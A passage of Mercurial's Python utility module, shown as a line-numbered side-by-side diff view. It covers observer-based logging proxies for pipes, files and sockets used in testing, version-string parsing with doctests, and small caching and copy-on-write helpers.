611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 bypass ``fileobjectproxy``. Because of this, we need to make
612 bypass ``fileobjectproxy``. Because of this, we need to make
613 ``bufferedinputpipe`` aware of these operations.
613 ``bufferedinputpipe`` aware of these operations.
614
614
615 This variation of ``bufferedinputpipe`` can notify observers about
615 This variation of ``bufferedinputpipe`` can notify observers about
616 ``os.read()`` events. It also re-publishes other events, such as
616 ``os.read()`` events. It also re-publishes other events, such as
617 ``read()`` and ``readline()``.
617 ``read()`` and ``readline()``.
618 """
618 """
619
619
620 def _fillbuffer(self):
620 def _fillbuffer(self):
621 res = super(observedbufferedinputpipe, self)._fillbuffer()
621 res = super(observedbufferedinputpipe, self)._fillbuffer()
622
622
623 fn = getattr(self._input._observer, 'osread', None)
623 fn = getattr(self._input._observer, 'osread', None)
624 if fn:
624 if fn:
625 fn(res, _chunksize)
625 fn(res, _chunksize)
626
626
627 return res
627 return res
628
628
629 # We use different observer methods because the operation isn't
629 # We use different observer methods because the operation isn't
630 # performed on the actual file object but on us.
630 # performed on the actual file object but on us.
631 def read(self, size):
631 def read(self, size):
632 res = super(observedbufferedinputpipe, self).read(size)
632 res = super(observedbufferedinputpipe, self).read(size)
633
633
634 fn = getattr(self._input._observer, 'bufferedread', None)
634 fn = getattr(self._input._observer, 'bufferedread', None)
635 if fn:
635 if fn:
636 fn(res, size)
636 fn(res, size)
637
637
638 return res
638 return res
639
639
640 def readline(self, *args, **kwargs):
640 def readline(self, *args, **kwargs):
641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642
642
643 fn = getattr(self._input._observer, 'bufferedreadline', None)
643 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 if fn:
644 if fn:
645 fn(res)
645 fn(res)
646
646
647 return res
647 return res
648
648
649
649
650 PROXIED_SOCKET_METHODS = {
650 PROXIED_SOCKET_METHODS = {
651 'makefile',
651 'makefile',
652 'recv',
652 'recv',
653 'recvfrom',
653 'recvfrom',
654 'recvfrom_into',
654 'recvfrom_into',
655 'recv_into',
655 'recv_into',
656 'send',
656 'send',
657 'sendall',
657 'sendall',
658 'sendto',
658 'sendto',
659 'setblocking',
659 'setblocking',
660 'settimeout',
660 'settimeout',
661 'gettimeout',
661 'gettimeout',
662 'setsockopt',
662 'setsockopt',
663 }
663 }
664
664
665
665
666 class socketproxy(object):
666 class socketproxy(object):
667 """A proxy around a socket that tells a watcher when events occur.
667 """A proxy around a socket that tells a watcher when events occur.
668
668
669 This is like ``fileobjectproxy`` except for sockets.
669 This is like ``fileobjectproxy`` except for sockets.
670
670
671 This type is intended to only be used for testing purposes. Think hard
671 This type is intended to only be used for testing purposes. Think hard
672 before using it in important code.
672 before using it in important code.
673 """
673 """
674
674
675 __slots__ = (
675 __slots__ = (
676 '_orig',
676 '_orig',
677 '_observer',
677 '_observer',
678 )
678 )
679
679
680 def __init__(self, sock, observer):
680 def __init__(self, sock, observer):
681 object.__setattr__(self, '_orig', sock)
681 object.__setattr__(self, '_orig', sock)
682 object.__setattr__(self, '_observer', observer)
682 object.__setattr__(self, '_observer', observer)
683
683
684 def __getattribute__(self, name):
684 def __getattribute__(self, name):
685 if name in PROXIED_SOCKET_METHODS:
685 if name in PROXIED_SOCKET_METHODS:
686 return object.__getattribute__(self, name)
686 return object.__getattribute__(self, name)
687
687
688 return getattr(object.__getattribute__(self, '_orig'), name)
688 return getattr(object.__getattribute__(self, '_orig'), name)
689
689
690 def __delattr__(self, name):
690 def __delattr__(self, name):
691 return delattr(object.__getattribute__(self, '_orig'), name)
691 return delattr(object.__getattribute__(self, '_orig'), name)
692
692
693 def __setattr__(self, name, value):
693 def __setattr__(self, name, value):
694 return setattr(object.__getattribute__(self, '_orig'), name, value)
694 return setattr(object.__getattribute__(self, '_orig'), name, value)
695
695
696 def __nonzero__(self):
696 def __nonzero__(self):
697 return bool(object.__getattribute__(self, '_orig'))
697 return bool(object.__getattribute__(self, '_orig'))
698
698
699 __bool__ = __nonzero__
699 __bool__ = __nonzero__
700
700
701 def _observedcall(self, name, *args, **kwargs):
701 def _observedcall(self, name, *args, **kwargs):
702 # Call the original object.
702 # Call the original object.
703 orig = object.__getattribute__(self, '_orig')
703 orig = object.__getattribute__(self, '_orig')
704 res = getattr(orig, name)(*args, **kwargs)
704 res = getattr(orig, name)(*args, **kwargs)
705
705
706 # Call a method on the observer of the same name with arguments
706 # Call a method on the observer of the same name with arguments
707 # so it can react, log, etc.
707 # so it can react, log, etc.
708 observer = object.__getattribute__(self, '_observer')
708 observer = object.__getattribute__(self, '_observer')
709 fn = getattr(observer, name, None)
709 fn = getattr(observer, name, None)
710 if fn:
710 if fn:
711 fn(res, *args, **kwargs)
711 fn(res, *args, **kwargs)
712
712
713 return res
713 return res
714
714
715 def makefile(self, *args, **kwargs):
715 def makefile(self, *args, **kwargs):
716 res = object.__getattribute__(self, '_observedcall')(
716 res = object.__getattribute__(self, '_observedcall')(
717 'makefile', *args, **kwargs
717 'makefile', *args, **kwargs
718 )
718 )
719
719
720 # The file object may be used for I/O. So we turn it into a
720 # The file object may be used for I/O. So we turn it into a
721 # proxy using our observer.
721 # proxy using our observer.
722 observer = object.__getattribute__(self, '_observer')
722 observer = object.__getattribute__(self, '_observer')
723 return makeloggingfileobject(
723 return makeloggingfileobject(
724 observer.fh,
724 observer.fh,
725 res,
725 res,
726 observer.name,
726 observer.name,
727 reads=observer.reads,
727 reads=observer.reads,
728 writes=observer.writes,
728 writes=observer.writes,
729 logdata=observer.logdata,
729 logdata=observer.logdata,
730 logdataapis=observer.logdataapis,
730 logdataapis=observer.logdataapis,
731 )
731 )
732
732
733 def recv(self, *args, **kwargs):
733 def recv(self, *args, **kwargs):
734 return object.__getattribute__(self, '_observedcall')(
734 return object.__getattribute__(self, '_observedcall')(
735 'recv', *args, **kwargs
735 'recv', *args, **kwargs
736 )
736 )
737
737
738 def recvfrom(self, *args, **kwargs):
738 def recvfrom(self, *args, **kwargs):
739 return object.__getattribute__(self, '_observedcall')(
739 return object.__getattribute__(self, '_observedcall')(
740 'recvfrom', *args, **kwargs
740 'recvfrom', *args, **kwargs
741 )
741 )
742
742
743 def recvfrom_into(self, *args, **kwargs):
743 def recvfrom_into(self, *args, **kwargs):
744 return object.__getattribute__(self, '_observedcall')(
744 return object.__getattribute__(self, '_observedcall')(
745 'recvfrom_into', *args, **kwargs
745 'recvfrom_into', *args, **kwargs
746 )
746 )
747
747
748 def recv_into(self, *args, **kwargs):
748 def recv_into(self, *args, **kwargs):
749 return object.__getattribute__(self, '_observedcall')(
749 return object.__getattribute__(self, '_observedcall')(
750 'recv_info', *args, **kwargs
750 'recv_info', *args, **kwargs
751 )
751 )
752
752
753 def send(self, *args, **kwargs):
753 def send(self, *args, **kwargs):
754 return object.__getattribute__(self, '_observedcall')(
754 return object.__getattribute__(self, '_observedcall')(
755 'send', *args, **kwargs
755 'send', *args, **kwargs
756 )
756 )
757
757
758 def sendall(self, *args, **kwargs):
758 def sendall(self, *args, **kwargs):
759 return object.__getattribute__(self, '_observedcall')(
759 return object.__getattribute__(self, '_observedcall')(
760 'sendall', *args, **kwargs
760 'sendall', *args, **kwargs
761 )
761 )
762
762
763 def sendto(self, *args, **kwargs):
763 def sendto(self, *args, **kwargs):
764 return object.__getattribute__(self, '_observedcall')(
764 return object.__getattribute__(self, '_observedcall')(
765 'sendto', *args, **kwargs
765 'sendto', *args, **kwargs
766 )
766 )
767
767
768 def setblocking(self, *args, **kwargs):
768 def setblocking(self, *args, **kwargs):
769 return object.__getattribute__(self, '_observedcall')(
769 return object.__getattribute__(self, '_observedcall')(
770 'setblocking', *args, **kwargs
770 'setblocking', *args, **kwargs
771 )
771 )
772
772
773 def settimeout(self, *args, **kwargs):
773 def settimeout(self, *args, **kwargs):
774 return object.__getattribute__(self, '_observedcall')(
774 return object.__getattribute__(self, '_observedcall')(
775 'settimeout', *args, **kwargs
775 'settimeout', *args, **kwargs
776 )
776 )
777
777
778 def gettimeout(self, *args, **kwargs):
778 def gettimeout(self, *args, **kwargs):
779 return object.__getattribute__(self, '_observedcall')(
779 return object.__getattribute__(self, '_observedcall')(
780 'gettimeout', *args, **kwargs
780 'gettimeout', *args, **kwargs
781 )
781 )
782
782
783 def setsockopt(self, *args, **kwargs):
783 def setsockopt(self, *args, **kwargs):
784 return object.__getattribute__(self, '_observedcall')(
784 return object.__getattribute__(self, '_observedcall')(
785 'setsockopt', *args, **kwargs
785 'setsockopt', *args, **kwargs
786 )
786 )
787
787
788
788
789 class baseproxyobserver(object):
789 class baseproxyobserver(object):
790 def _writedata(self, data):
790 def _writedata(self, data):
791 if not self.logdata:
791 if not self.logdata:
792 if self.logdataapis:
792 if self.logdataapis:
793 self.fh.write(b'\n')
793 self.fh.write(b'\n')
794 self.fh.flush()
794 self.fh.flush()
795 return
795 return
796
796
797 # Simple case writes all data on a single line.
797 # Simple case writes all data on a single line.
798 if b'\n' not in data:
798 if b'\n' not in data:
799 if self.logdataapis:
799 if self.logdataapis:
800 self.fh.write(b': %s\n' % stringutil.escapestr(data))
800 self.fh.write(b': %s\n' % stringutil.escapestr(data))
801 else:
801 else:
802 self.fh.write(
802 self.fh.write(
803 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
803 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
804 )
804 )
805 self.fh.flush()
805 self.fh.flush()
806 return
806 return
807
807
808 # Data with newlines is written to multiple lines.
808 # Data with newlines is written to multiple lines.
809 if self.logdataapis:
809 if self.logdataapis:
810 self.fh.write(b':\n')
810 self.fh.write(b':\n')
811
811
812 lines = data.splitlines(True)
812 lines = data.splitlines(True)
813 for line in lines:
813 for line in lines:
814 self.fh.write(
814 self.fh.write(
815 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
815 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
816 )
816 )
817 self.fh.flush()
817 self.fh.flush()
818
818
819
819
820 class fileobjectobserver(baseproxyobserver):
820 class fileobjectobserver(baseproxyobserver):
821 """Logs file object activity."""
821 """Logs file object activity."""
822
822
823 def __init__(
823 def __init__(
824 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
824 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
825 ):
825 ):
826 self.fh = fh
826 self.fh = fh
827 self.name = name
827 self.name = name
828 self.logdata = logdata
828 self.logdata = logdata
829 self.logdataapis = logdataapis
829 self.logdataapis = logdataapis
830 self.reads = reads
830 self.reads = reads
831 self.writes = writes
831 self.writes = writes
832
832
833 def read(self, res, size=-1):
833 def read(self, res, size=-1):
834 if not self.reads:
834 if not self.reads:
835 return
835 return
836 # Python 3 can return None from reads at EOF instead of empty strings.
836 # Python 3 can return None from reads at EOF instead of empty strings.
837 if res is None:
837 if res is None:
838 res = b''
838 res = b''
839
839
840 if size == -1 and res == b'':
840 if size == -1 and res == b'':
841 # Suppress pointless read(-1) calls that return
841 # Suppress pointless read(-1) calls that return
842 # nothing. These happen _a lot_ on Python 3, and there
842 # nothing. These happen _a lot_ on Python 3, and there
843 # doesn't seem to be a better workaround to have matching
843 # doesn't seem to be a better workaround to have matching
844 # Python 2 and 3 behavior. :(
844 # Python 2 and 3 behavior. :(
845 return
845 return
846
846
847 if self.logdataapis:
847 if self.logdataapis:
848 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
848 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
849
849
850 self._writedata(res)
850 self._writedata(res)
851
851
852 def readline(self, res, limit=-1):
852 def readline(self, res, limit=-1):
853 if not self.reads:
853 if not self.reads:
854 return
854 return
855
855
856 if self.logdataapis:
856 if self.logdataapis:
857 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
857 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
858
858
859 self._writedata(res)
859 self._writedata(res)
860
860
861 def readinto(self, res, dest):
861 def readinto(self, res, dest):
862 if not self.reads:
862 if not self.reads:
863 return
863 return
864
864
865 if self.logdataapis:
865 if self.logdataapis:
866 self.fh.write(
866 self.fh.write(
867 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
867 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
868 )
868 )
869
869
870 data = dest[0:res] if res is not None else b''
870 data = dest[0:res] if res is not None else b''
871
871
872 # _writedata() uses "in" operator and is confused by memoryview because
872 # _writedata() uses "in" operator and is confused by memoryview because
873 # characters are ints on Python 3.
873 # characters are ints on Python 3.
874 if isinstance(data, memoryview):
874 if isinstance(data, memoryview):
875 data = data.tobytes()
875 data = data.tobytes()
876
876
877 self._writedata(data)
877 self._writedata(data)
878
878
879 def write(self, res, data):
879 def write(self, res, data):
880 if not self.writes:
880 if not self.writes:
881 return
881 return
882
882
883 # Python 2 returns None from some write() calls. Python 3 (reasonably)
883 # Python 2 returns None from some write() calls. Python 3 (reasonably)
884 # returns the integer bytes written.
884 # returns the integer bytes written.
885 if res is None and data:
885 if res is None and data:
886 res = len(data)
886 res = len(data)
887
887
888 if self.logdataapis:
888 if self.logdataapis:
889 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
889 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
890
890
891 self._writedata(data)
891 self._writedata(data)
892
892
893 def flush(self, res):
893 def flush(self, res):
894 if not self.writes:
894 if not self.writes:
895 return
895 return
896
896
897 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
897 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
898
898
899 # For observedbufferedinputpipe.
899 # For observedbufferedinputpipe.
900 def bufferedread(self, res, size):
900 def bufferedread(self, res, size):
901 if not self.reads:
901 if not self.reads:
902 return
902 return
903
903
904 if self.logdataapis:
904 if self.logdataapis:
905 self.fh.write(
905 self.fh.write(
906 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
906 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
907 )
907 )
908
908
909 self._writedata(res)
909 self._writedata(res)
910
910
911 def bufferedreadline(self, res):
911 def bufferedreadline(self, res):
912 if not self.reads:
912 if not self.reads:
913 return
913 return
914
914
915 if self.logdataapis:
915 if self.logdataapis:
916 self.fh.write(
916 self.fh.write(
917 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
917 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
918 )
918 )
919
919
920 self._writedata(res)
920 self._writedata(res)
921
921
922
922
923 def makeloggingfileobject(
923 def makeloggingfileobject(
924 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
924 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
925 ):
925 ):
926 """Turn a file object into a logging file object."""
926 """Turn a file object into a logging file object."""
927
927
928 observer = fileobjectobserver(
928 observer = fileobjectobserver(
929 logh,
929 logh,
930 name,
930 name,
931 reads=reads,
931 reads=reads,
932 writes=writes,
932 writes=writes,
933 logdata=logdata,
933 logdata=logdata,
934 logdataapis=logdataapis,
934 logdataapis=logdataapis,
935 )
935 )
936 return fileobjectproxy(fh, observer)
936 return fileobjectproxy(fh, observer)
937
937
938
938
939 class socketobserver(baseproxyobserver):
939 class socketobserver(baseproxyobserver):
940 """Logs socket activity."""
940 """Logs socket activity."""
941
941
942 def __init__(
942 def __init__(
943 self,
943 self,
944 fh,
944 fh,
945 name,
945 name,
946 reads=True,
946 reads=True,
947 writes=True,
947 writes=True,
948 states=True,
948 states=True,
949 logdata=False,
949 logdata=False,
950 logdataapis=True,
950 logdataapis=True,
951 ):
951 ):
952 self.fh = fh
952 self.fh = fh
953 self.name = name
953 self.name = name
954 self.reads = reads
954 self.reads = reads
955 self.writes = writes
955 self.writes = writes
956 self.states = states
956 self.states = states
957 self.logdata = logdata
957 self.logdata = logdata
958 self.logdataapis = logdataapis
958 self.logdataapis = logdataapis
959
959
960 def makefile(self, res, mode=None, bufsize=None):
960 def makefile(self, res, mode=None, bufsize=None):
961 if not self.states:
961 if not self.states:
962 return
962 return
963
963
964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965
965
966 def recv(self, res, size, flags=0):
966 def recv(self, res, size, flags=0):
967 if not self.reads:
967 if not self.reads:
968 return
968 return
969
969
970 if self.logdataapis:
970 if self.logdataapis:
971 self.fh.write(
971 self.fh.write(
972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 )
973 )
974 self._writedata(res)
974 self._writedata(res)
975
975
976 def recvfrom(self, res, size, flags=0):
976 def recvfrom(self, res, size, flags=0):
977 if not self.reads:
977 if not self.reads:
978 return
978 return
979
979
980 if self.logdataapis:
980 if self.logdataapis:
981 self.fh.write(
981 self.fh.write(
982 b'%s> recvfrom(%d, %d) -> %d'
982 b'%s> recvfrom(%d, %d) -> %d'
983 % (self.name, size, flags, len(res[0]))
983 % (self.name, size, flags, len(res[0]))
984 )
984 )
985
985
986 self._writedata(res[0])
986 self._writedata(res[0])
987
987
988 def recvfrom_into(self, res, buf, size, flags=0):
988 def recvfrom_into(self, res, buf, size, flags=0):
989 if not self.reads:
989 if not self.reads:
990 return
990 return
991
991
992 if self.logdataapis:
992 if self.logdataapis:
993 self.fh.write(
993 self.fh.write(
994 b'%s> recvfrom_into(%d, %d) -> %d'
994 b'%s> recvfrom_into(%d, %d) -> %d'
995 % (self.name, size, flags, res[0])
995 % (self.name, size, flags, res[0])
996 )
996 )
997
997
998 self._writedata(buf[0 : res[0]])
998 self._writedata(buf[0 : res[0]])
999
999
1000 def recv_into(self, res, buf, size=0, flags=0):
1000 def recv_into(self, res, buf, size=0, flags=0):
1001 if not self.reads:
1001 if not self.reads:
1002 return
1002 return
1003
1003
1004 if self.logdataapis:
1004 if self.logdataapis:
1005 self.fh.write(
1005 self.fh.write(
1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 )
1007 )
1008
1008
1009 self._writedata(buf[0:res])
1009 self._writedata(buf[0:res])
1010
1010
1011 def send(self, res, data, flags=0):
1011 def send(self, res, data, flags=0):
1012 if not self.writes:
1012 if not self.writes:
1013 return
1013 return
1014
1014
1015 self.fh.write(
1015 self.fh.write(
1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 )
1017 )
1018 self._writedata(data)
1018 self._writedata(data)
1019
1019
1020 def sendall(self, res, data, flags=0):
1020 def sendall(self, res, data, flags=0):
1021 if not self.writes:
1021 if not self.writes:
1022 return
1022 return
1023
1023
1024 if self.logdataapis:
1024 if self.logdataapis:
1025 # Returns None on success. So don't bother reporting return value.
1025 # Returns None on success. So don't bother reporting return value.
1026 self.fh.write(
1026 self.fh.write(
1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 )
1028 )
1029
1029
1030 self._writedata(data)
1030 self._writedata(data)
1031
1031
1032 def sendto(self, res, data, flagsoraddress, address=None):
1032 def sendto(self, res, data, flagsoraddress, address=None):
1033 if not self.writes:
1033 if not self.writes:
1034 return
1034 return
1035
1035
1036 if address:
1036 if address:
1037 flags = flagsoraddress
1037 flags = flagsoraddress
1038 else:
1038 else:
1039 flags = 0
1039 flags = 0
1040
1040
1041 if self.logdataapis:
1041 if self.logdataapis:
1042 self.fh.write(
1042 self.fh.write(
1043 b'%s> sendto(%d, %d, %r) -> %d'
1043 b'%s> sendto(%d, %d, %r) -> %d'
1044 % (self.name, len(data), flags, address, res)
1044 % (self.name, len(data), flags, address, res)
1045 )
1045 )
1046
1046
1047 self._writedata(data)
1047 self._writedata(data)
1048
1048
1049 def setblocking(self, res, flag):
1049 def setblocking(self, res, flag):
1050 if not self.states:
1050 if not self.states:
1051 return
1051 return
1052
1052
1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054
1054
1055 def settimeout(self, res, value):
1055 def settimeout(self, res, value):
1056 if not self.states:
1056 if not self.states:
1057 return
1057 return
1058
1058
1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060
1060
1061 def gettimeout(self, res):
1061 def gettimeout(self, res):
1062 if not self.states:
1062 if not self.states:
1063 return
1063 return
1064
1064
1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066
1066
1067 def setsockopt(self, res, level, optname, value):
1067 def setsockopt(self, res, level, optname, value):
1068 if not self.states:
1068 if not self.states:
1069 return
1069 return
1070
1070
1071 self.fh.write(
1071 self.fh.write(
1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 % (self.name, level, optname, value, res)
1073 % (self.name, level, optname, value, res)
1074 )
1074 )
1075
1075
1076
1076
1077 def makeloggingsocket(
1077 def makeloggingsocket(
1078 logh,
1078 logh,
1079 fh,
1079 fh,
1080 name,
1080 name,
1081 reads=True,
1081 reads=True,
1082 writes=True,
1082 writes=True,
1083 states=True,
1083 states=True,
1084 logdata=False,
1084 logdata=False,
1085 logdataapis=True,
1085 logdataapis=True,
1086 ):
1086 ):
1087 """Turn a socket into a logging socket."""
1087 """Turn a socket into a logging socket."""
1088
1088
1089 observer = socketobserver(
1089 observer = socketobserver(
1090 logh,
1090 logh,
1091 name,
1091 name,
1092 reads=reads,
1092 reads=reads,
1093 writes=writes,
1093 writes=writes,
1094 states=states,
1094 states=states,
1095 logdata=logdata,
1095 logdata=logdata,
1096 logdataapis=logdataapis,
1096 logdataapis=logdataapis,
1097 )
1097 )
1098 return socketproxy(fh, observer)
1098 return socketproxy(fh, observer)
1099
1099
1100
1100
1101 def version():
1101 def version():
1102 """Return version information if available."""
1102 """Return version information if available."""
1103 try:
1103 try:
1104 from . import __version__
1104 from . import __version__
1105
1105
1106 return __version__.version
1106 return __version__.version
1107 except ImportError:
1107 except ImportError:
1108 return b'unknown'
1108 return b'unknown'
1109
1109
1110
1110
1111 def versiontuple(v=None, n=4):
1111 def versiontuple(v=None, n=4):
1112 """Parses a Mercurial version string into an N-tuple.
1112 """Parses a Mercurial version string into an N-tuple.
1113
1113
1114 The version string to be parsed is specified with the ``v`` argument.
1114 The version string to be parsed is specified with the ``v`` argument.
1115 If it isn't defined, the current Mercurial version string will be parsed.
1115 If it isn't defined, the current Mercurial version string will be parsed.
1116
1116
1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 returned values:
1118 returned values:
1119
1119
1120 >>> v = b'3.6.1+190-df9b73d2d444'
1120 >>> v = b'3.6.1+190-df9b73d2d444'
1121 >>> versiontuple(v, 2)
1121 >>> versiontuple(v, 2)
1122 (3, 6)
1122 (3, 6)
1123 >>> versiontuple(v, 3)
1123 >>> versiontuple(v, 3)
1124 (3, 6, 1)
1124 (3, 6, 1)
1125 >>> versiontuple(v, 4)
1125 >>> versiontuple(v, 4)
1126 (3, 6, 1, '190-df9b73d2d444')
1126 (3, 6, 1, '190-df9b73d2d444')
1127
1127
1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1130
1130
1131 >>> v = b'3.6'
1131 >>> v = b'3.6'
1132 >>> versiontuple(v, 2)
1132 >>> versiontuple(v, 2)
1133 (3, 6)
1133 (3, 6)
1134 >>> versiontuple(v, 3)
1134 >>> versiontuple(v, 3)
1135 (3, 6, None)
1135 (3, 6, None)
1136 >>> versiontuple(v, 4)
1136 >>> versiontuple(v, 4)
1137 (3, 6, None, None)
1137 (3, 6, None, None)
1138
1138
1139 >>> v = b'3.9-rc'
1139 >>> v = b'3.9-rc'
1140 >>> versiontuple(v, 2)
1140 >>> versiontuple(v, 2)
1141 (3, 9)
1141 (3, 9)
1142 >>> versiontuple(v, 3)
1142 >>> versiontuple(v, 3)
1143 (3, 9, None)
1143 (3, 9, None)
1144 >>> versiontuple(v, 4)
1144 >>> versiontuple(v, 4)
1145 (3, 9, None, 'rc')
1145 (3, 9, None, 'rc')
1146
1146
1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 >>> versiontuple(v, 2)
1148 >>> versiontuple(v, 2)
1149 (3, 9)
1149 (3, 9)
1150 >>> versiontuple(v, 3)
1150 >>> versiontuple(v, 3)
1151 (3, 9, None)
1151 (3, 9, None)
1152 >>> versiontuple(v, 4)
1152 >>> versiontuple(v, 4)
1153 (3, 9, None, 'rc+2-02a8fea4289b')
1153 (3, 9, None, 'rc+2-02a8fea4289b')
1154
1154
1155 >>> versiontuple(b'4.6rc0')
1155 >>> versiontuple(b'4.6rc0')
1156 (4, 6, None, 'rc0')
1156 (4, 6, None, 'rc0')
1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 (4, 6, None, 'rc0+12-425d55e54f98')
1158 (4, 6, None, 'rc0+12-425d55e54f98')
1159 >>> versiontuple(b'.1.2.3')
1159 >>> versiontuple(b'.1.2.3')
1160 (None, None, None, '.1.2.3')
1160 (None, None, None, '.1.2.3')
1161 >>> versiontuple(b'12.34..5')
1161 >>> versiontuple(b'12.34..5')
1162 (12, 34, None, '..5')
1162 (12, 34, None, '..5')
1163 >>> versiontuple(b'1.2.3.4.5.6')
1163 >>> versiontuple(b'1.2.3.4.5.6')
1164 (1, 2, 3, '.4.5.6')
1164 (1, 2, 3, '.4.5.6')
1165 """
1165 """
1166 if not v:
1166 if not v:
1167 v = version()
1167 v = version()
1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 if not m:
1169 if not m:
1170 vparts, extra = b'', v
1170 vparts, extra = b'', v
1171 elif m.group(2):
1171 elif m.group(2):
1172 vparts, extra = m.groups()
1172 vparts, extra = m.groups()
1173 else:
1173 else:
1174 vparts, extra = m.group(1), None
1174 vparts, extra = m.group(1), None
1175
1175
1176 vints = []
1176 vints = []
1177 for i in vparts.split(b'.'):
1177 for i in vparts.split(b'.'):
1178 try:
1178 try:
1179 vints.append(int(i))
1179 vints.append(int(i))
1180 except ValueError:
1180 except ValueError:
1181 break
1181 break
1182 # (3, 6) -> (3, 6, None)
1182 # (3, 6) -> (3, 6, None)
1183 while len(vints) < 3:
1183 while len(vints) < 3:
1184 vints.append(None)
1184 vints.append(None)
1185
1185
1186 if n == 2:
1186 if n == 2:
1187 return (vints[0], vints[1])
1187 return (vints[0], vints[1])
1188 if n == 3:
1188 if n == 3:
1189 return (vints[0], vints[1], vints[2])
1189 return (vints[0], vints[1], vints[2])
1190 if n == 4:
1190 if n == 4:
1191 return (vints[0], vints[1], vints[2], extra)
1191 return (vints[0], vints[1], vints[2], extra)
1192
1192
1193
1193
1194 def cachefunc(func):
1194 def cachefunc(func):
1195 '''cache the result of function calls'''
1195 '''cache the result of function calls'''
1196 # XXX doesn't handle keywords args
1196 # XXX doesn't handle keywords args
1197 if func.__code__.co_argcount == 0:
1197 if func.__code__.co_argcount == 0:
1198 cache = []
1198 cache = []
1199
1199
1200 def f():
1200 def f():
1201 if len(cache) == 0:
1201 if len(cache) == 0:
1202 cache.append(func())
1202 cache.append(func())
1203 return cache[0]
1203 return cache[0]
1204
1204
1205 return f
1205 return f
1206 cache = {}
1206 cache = {}
1207 if func.__code__.co_argcount == 1:
1207 if func.__code__.co_argcount == 1:
1208 # we gain a small amount of time because
1208 # we gain a small amount of time because
1209 # we don't need to pack/unpack the list
1209 # we don't need to pack/unpack the list
1210 def f(arg):
1210 def f(arg):
1211 if arg not in cache:
1211 if arg not in cache:
1212 cache[arg] = func(arg)
1212 cache[arg] = func(arg)
1213 return cache[arg]
1213 return cache[arg]
1214
1214
1215 else:
1215 else:
1216
1216
1217 def f(*args):
1217 def f(*args):
1218 if args not in cache:
1218 if args not in cache:
1219 cache[args] = func(*args)
1219 cache[args] = func(*args)
1220 return cache[args]
1220 return cache[args]
1221
1221
1222 return f
1222 return f
1223
1223
1224
1224
1225 class cow(object):
1225 class cow(object):
1226 """helper class to make copy-on-write easier
1226 """helper class to make copy-on-write easier
1227
1227
1228 Call preparewrite before doing any writes.
1228 Call preparewrite before doing any writes.
1229 """
1229 """
1230
1230
1231 def preparewrite(self):
1231 def preparewrite(self):
1232 """call this before writes, return self or a copied new object"""
1232 """call this before writes, return self or a copied new object"""
1233 if getattr(self, '_copied', 0):
1233 if getattr(self, '_copied', 0):
1234 self._copied -= 1
1234 self._copied -= 1
1235 return self.__class__(self)
1235 return self.__class__(self)
1236 return self
1236 return self
1237
1237
1238 def copy(self):
1238 def copy(self):
1239 """always do a cheap copy"""
1239 """always do a cheap copy"""
1240 self._copied = getattr(self, '_copied', 0) + 1
1240 self._copied = getattr(self, '_copied', 0) + 1
1241 return self
1241 return self
1242
1242
1243
1243
1244 class sortdict(collections.OrderedDict):
1244 class sortdict(collections.OrderedDict):
1245 '''a simple sorted dictionary
